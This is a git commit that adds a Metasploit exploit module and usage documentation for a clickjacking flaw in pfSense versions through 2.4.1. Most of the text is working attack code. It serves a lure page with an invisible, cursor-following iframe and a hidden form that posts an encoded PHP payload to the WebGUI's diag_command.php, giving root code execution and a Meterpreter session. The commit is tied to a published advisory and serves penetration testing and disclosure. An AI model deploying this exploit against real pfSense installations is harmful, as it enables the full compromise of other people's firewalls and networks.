Add exploit module for Clickjacking vulnerability in CSRF error page pfSense
Yorick Koster
parent
879db5cf38
commit
916ee05cce
|
|
@ -0,0 +1,23 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
|
||||
|
||||
## Vulnerable Setup
|
||||
|
||||
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possible the WebGUI's TLS certificate must be trusted in the browser.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/unix/http/pfsense_clickjacking`
|
||||
2. `set TARGETURI https://<ip WebGUI>`
|
||||
3. `exploit`
|
||||
4. Browse to the URL return by MSF
|
||||
5. Click anywhere on the returned page
|
||||
6. Note that a new Meterpreter sessions was started.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The base path of the WebGUI. The default base path is https://192.168.1.1/
|
||||
|
|
@ -0,0 +1,115 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
|
||||
'Description' => %q{
|
||||
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
|
||||
|
||||
pfSense is a free and open source firewall and router. It was found that the
|
||||
pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
|
||||
into interacting with a specially crafted webpage it is possible for an attacker
|
||||
to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
|
||||
this will result in a full compromise of the pfSense instance.
|
||||
},
|
||||
'Author' => 'Yorick Koster',
|
||||
'Payload' => { 'BadChars' => '"' },
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://acc.securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
|
||||
['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Arch' => ARCH_PHP,
|
||||
'Platform' => 'php',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'pfSense <= 2.4.1', { 'auto' => false } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mon Day Year'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if datastore['TARGETURI'].end_with? '/'
|
||||
url = datastore['TARGETURI'] + 'diag_command.php'
|
||||
else
|
||||
url = datastore['TARGETURI'] + '/diag_command.php'
|
||||
end
|
||||
framename = rand_text_alpha(16)
|
||||
divname = rand_text_alpha(16)
|
||||
resp = create_response(200, "OK")
|
||||
resp.body = %Q|<!DOCTYPE html>
|
||||
<html>
|
||||
<meta charset="utf-8">
|
||||
<link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.3/cookieconsent.min.css" />
|
||||
<script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.3/cookieconsent.min.js"></script>
|
||||
<script>
|
||||
window.addEventListener("load", function(){
|
||||
window.cookieconsent.initialise({
|
||||
"palette": {
|
||||
"popup": {
|
||||
"background": "#000",
|
||||
"text": "#0f0"
|
||||
},
|
||||
"button": {
|
||||
"background": "#0f0"
|
||||
}
|
||||
},
|
||||
"position": "top",
|
||||
"static": true
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
|
||||
window.addEventListener('load', function(){
|
||||
document.forms[0].post.click();
|
||||
document.onmousemove = function(e) {
|
||||
var e = e \|\| window.event;
|
||||
var s = document.getElementById('#{divname}');
|
||||
s.style.left = (e.clientX - 10) + 'px';
|
||||
s.style.top = (e.clientY - 5) + 'px';
|
||||
};
|
||||
});
|
||||
</script>
|
||||
<body style="background-image:url(https://static.pexels.com/photos/1445/blur-river-blurred-background.jpg);background-size:cover;">
|
||||
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
|
||||
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
|
||||
</div>
|
||||
<div style="display:none">
|
||||
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
|
||||
<input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
|
||||
<input type="hidden" name="submit" value="EXECPHP" />
|
||||
<input type="submit" name="post"/>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue